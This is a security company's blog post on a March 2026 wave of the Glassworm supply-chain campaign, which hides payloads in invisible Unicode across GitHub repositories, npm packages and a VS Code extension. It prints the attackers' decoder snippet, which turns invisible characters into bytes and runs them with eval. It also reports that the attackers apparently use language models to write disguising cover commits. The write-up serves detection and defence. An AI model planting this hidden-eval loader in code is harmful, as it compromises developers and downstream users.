https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode Products Aikido Platform Your Complete Security HQ Abstract black background with a grid of small white dots evenly spaced.[68ad55d5c8][693ab1d85c] Explore platform [68d63b045f] Advanced AppSec suite, built for devs. [68ad55d5c8] * Dependencies (SCA) * SAST & AI SAST * IaC * AI Code Quality * Secrets * Malware * Licenses (SBOM) * Outdated Software * Container Images [68d63cb5a1] Unified cloud security with real-time visibility. [68ad55d5c8] * CSPM * Virtual Machines * Infrastructure as Code * Cloud Search * Container & K8s Scanning * Hardened Images [68d63cb572] AI-powered offensive security testing. [68ad55d5c8] * Continuous Pentests * Pentests New * Bug Bounty Validation * DAST * Attack Surface * API Scanning [68d63cb514] in-app runtime defense and threat detection. [68ad55d5c8] * Runtime Protection * AI Monitoring * Bot Protection * Safe Chain New: Aikido pentests that outperform humans. Learn more Solutions By Feature AI AutoFix CI/CD Security IDE Integrations On-Prem Scanning Continuous Pentests New By Use Case Pentest new Compliance Vulnerability Management Generate SBOMs ASPM CSPM AI at Aikido Block 0-Days By Stage Startup Enterprise By Industry FinTech HealthTech HRTech Legal Tech Group Companies Agencies Mobile apps Manufacturing Public Sector Banks Telecom New: Aikido pentests that outperform humans. Learn more Solutions Use Cases Compliance Automate SOC 2, ISO & more Vulnerability Management All-in-1 vuln management Secure Your Code Advanced code security Generate SBOMs 1 click SCA reports ASPM End-to-end AppSec CSPM End-to-end cloud security AI at Aikido Let Aikido AI do the work Block 0-Days Block threats before impact Industries FinTech HealthTech HRTech Legal Tech Group Companies Agencies Startups Enterprise Mobile apps Manufacturing Public Sector Banks Resources Developer Docs How to use Aikido Public API docs Aikido developer hub Changelog See what shipped Reports Research, insights & guides Trust Center Safe, private, compliant Open Source [67e4146c03] Aikido Intel Malware & OSS threat feed [67c8533045] Zen In-app firewall protection Icon of a globe with a connected network symbol inside a rounded square. OpenGrep Code analysis engine [687f77cee2] Aikido Safe Chain Prevent malware during install. [69aaa53117] BetterLeaks A better secrets scanner Company Blog Get insights, updates & more Customers Trusted by the best teams State of AI report Insights from 450 CISOs and devs Events & Webinars Sessions, meetups & events Reports Industry reports, surveys & analysis Aikido Threat Intel Real-time malware & vuln threats Abstract black background with a grid of small white dots evenly spaced.[68ad55d5c8][6981bc10ee] Go to Feed Integrations [67c854bfb4] IDEs [67c854c57a] CI/CD Systems [67c854bf9f] Clouds [67c854bf9e] Git Systems [67c854bfee] Compliance [67c854bfcf] Messengers [67c854bf88] Task Managers More integrations About About About Meet the team Careers We're hiring Press Kit Download brand assets Events See you around? Open Source Our OSS projects Customer Stories Trusted by the best teams Partner Program Partner with us PricingContact Login Start for Free No CC required Aikido Login Menu Aikido EN EN FR JP DE PT ES Login Start for Free No CC required Blog / Vulnerabilities & Threats Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories Written by Ilyas Makari Published on: Mar 13, 2026 * Table of Contents Text Link The invisible threat we've been tracking for nearly a year is back. While the PolinRider campaign has been making headlines for compromising hundreds of GitHub repositories, we are separately seeing a new wave of Glassworm activity hitting GitHub, npm, and VS Code. In October last year, we wrote about how hidden Unicode characters were being used to compromise GitHub repositories, tracing the technique back to a threat actor named Glassworm. This month, the same actor is back, and among the affected repositories are some notable names: a repo from Wasmer, Reworm, and opencode-bench from anomalyco, the organization behind OpenCode and SST. A Year of the Invisible Code Campaign * March 2025: Aikido first discovers malicious npm packages hiding payloads using PUA Unicode characters * May 2025: We publish a blog detailing the risks of invisible Unicode and how it can be abused in supply chain attacks * October 17, 2025: We uncover compromised extensions on Open VSX using the same technique * October 31, 2025: We discover that the attackers have shifted focus to GitHub repositories * March 2026: A new mass wave emerges: hundreds of GitHub repositories compromised, with npm and VS Code also affected. A Quick Refresher Before diving into the scale of this new wave, let's recap how this attack works. Even after months of coverage, it continues to catch developers and tooling off guard. The trick relies on invisible Unicode characters: code snippets that are rendered as nothing in virtually every editor, terminal, and code review interface. Attackers use these invisible characters to encode a payload directly inside what appears to be an empty string. When the JavaScript runtime encounters it, a small decoder extracts the real bytes and passes them to eval(). Here's what the injection looks like. Remember, the apparent gap in the empty backticks below is anything but empty: const s = v => [...v].map(w => ( w = w.codePointAt(0), w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null )).filter(n => n !== null); eval(Buffer.from(s(``)).toString('utf-8')); The backtick string passed to s() looks empty in every viewer, but it's packed with invisible characters that, once decoded, produce a full malicious payload. In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets. The Scale of the March 2026 Wave We are observing a mass campaign by the Glassworm threat actor spreading across open source repositories. A GitHub code search for the decoder pattern currently returns at least 151 matching repositories, and that number understates the true scope, since many affected repositories have already been deleted by the time of writing. The GitHub compromises appear to have taken place between March 3 and March 9. [69b3eae6c5] The campaign has also expanded beyond GitHub. We are now seeing the same technique deployed in npm and the VS Code marketplace, suggesting Glassworm is operating a coordinated, multi-ecosystem push. This is consistent with the group's historical pattern of pivoting between registries. Package Ecosystem Versions Date @aifabrix/miso-client npm 4.7.2 Mar 12, 2026 @iflow-mcp/ npm 1.3.0, 1.3.1, 1.3.2, Mar 12, watercrawl-watercrawl-mcp 1.3.3, 1.3.4 2026 quartz.quartz-markdown-editor VS Code 0.3.0 Mar 12, 2026 Notable Compromised Repositories on GitHub Among the repositories we identified, several belong to well-known projects with meaningful star counts, making them high-value targets for downstream supply chain impact: Repository Stars pedronauck/reworm 1,460 pedronauck/spacefold 62 anomalyco/opencode-bench 56 doczjs/docz-plugin-css 39 uknfire/theGreatFilter 38 sillyva/rpg-schedule 37 wasmer-examples/hono-wasmer-starter 8 AI-Assisted Camouflage As we noted in our October article, the malicious injections don't arrive in obviously suspicious commits. The surrounding changes are realistic: documentation tweaks, version bumps, small refactors, and bug fixes that are stylistically consistent with each target project. This level of project-specific tailoring strongly suggests the attackers are using large language models to generate convincing cover commits. At the scale we're now seeing, manual crafting of 151+ bespoke code changes across different codebases simply isn't feasible. Detection and Protection Invisible threats require active defenses. You cannot rely on visual code review or standard linting to catch what you cannot see. At Aikido, we've built detection for invisible Unicode injection directly into our malware scanning pipeline. If you already use Aikido, these packages would be flagged in your feed as a 100/100 critical finding. [69b3ebb45f] Not on Aikido yet? Create a free account and link your repositories. The free plan includes our malware detection coverage (no credit card required). Finally, a tool that can stop supply-chain malware in real time as they appear can prevent a serious infection. This is the idea behind Aikido Safe Chain, a free and open-source tool that wraps around npm, npx, yarn, pnpm, and pnpx and uses both AI and human malware researchers to detect and block the latest supply chain risks before they enter your environment. {{cta}} Last updated on: Mar 13, 2026 Share: https://www.aikido.dev/blog/ glassworm-returns-unicode-attack-github-npm-vscode Subscribe for threat news. Secure your software now Start today, for free. Start for Free No CC required 4.7/5 Tired of false positives? Try Aikido like 100k others. Start Now Get a personalized walkthrough Trusted by 100k+ teams Book Now Scan your app for IDORs and real attack paths Trusted by 100k+ teams Start Scanning See how AI pentests your app Trusted by 100k+ teams Start Testing Scan your repos for invisible Unicode attacks Trusted by 100k teams Start for free Similar Posts See all See all March 12, 2026 * Vulnerabilities & Threats How Security Teams Fight Back Against AI-Powered Hackers AI has lowered the bar for hackers dramatically. Here's what that means for defenders and how continuous AI pentesting changes the equation. [6836b17027] # AI # Continuous Pentesting # Self-securing Software March 3, 2026 * Vulnerabilities & Threats Persistent XSS/RCE using WebSockets in Storybook's dev server CVE-2026-27148 exposes a WebSocket hijacking flaw in Storybook that can escalate into supply chain compromise. Learn the attack path, impact, and how to remediate. [6836b17027] # Vulnerabilities # open-source # Pentesting February 23, 2026 * Vulnerabilities & Threats Astro Full-Read SSRF via Host Header Injection Aikido Security's AI pentesting agent discovered a Server-Side Request Forgery vulnerability in Astro's SSR implementation. Learn how Host header injection in prerendered error pages allowed full internal network access. [6836b17027] # open-source # Vulnerabilities # NPM Get secure now Secure your code, cloud, and runtime in one central system. Find and fix vulnerabilities fast automatically. Start Scanning No CC required Book a demo No credit card required | Scan results in 32secs. [6825fdbd77][6825d8f68e] Company * Platform * Pricing * About * Careers * Contact * Partner with us Resources * Docs * Public API Docs * Vulnerability Database * Blog * Customer Stories * Integrations * Glossary * Press Kit * Customer Reviews Industries * For HealthTech * For MedTech * For FinTech * For SecurityTech * For LegalTech * For HRTech * For Agencies * For Enterprise * For Startups * For PE & Group Companies * For Government & Public Sector * For Smart Manufacturing & Engineering Use Cases * Pentest * Compliance * SAST & DAST * ASPM * Vulnerability Management * Generate SBOMs * WordPress Security * Secure Your Code * Aikido for Microsoft * Aikido for AWS Compare * vs All Vendors * vs Snyk * vs Wiz * vs Mend * vs Orca Security * vs Veracode * vs GitHub Advanced Security * vs GitLab Ultimate * vs Checkmarx * vs Semgrep * vs SonarQube * vs Black Duck Legal * Privacy Policy * Cookie Policy * Terms of Use * Master Subscription Agreement * Data Processing Agreement * AI Penetration Testing Addendum Connect * hello@aikido.dev Security * Trust Center * Security Overview * Change Cookie Preferences Subscribe Stay up to date with all updates LinkedInYouTubeX (c) 2026 Aikido Security BV | BE0792914919 Keizer Karelstraat 15, 9000, Ghent, Belgium 95 Third St, 2nd Fl, San Francisco, CA 94103, US 330 N. Wabash 23rd Floor Chicago, IL 60611, US Unit 6.15 Runway East 18 Crucifix Ln, London SE1 3JW UK [65f310a3cf] SOC 2 Compliant [642adcaf36] ISO 27001 Compliant [694ba9c1bb] FedRAMP Implementing [6825d9f876][6825e614e2]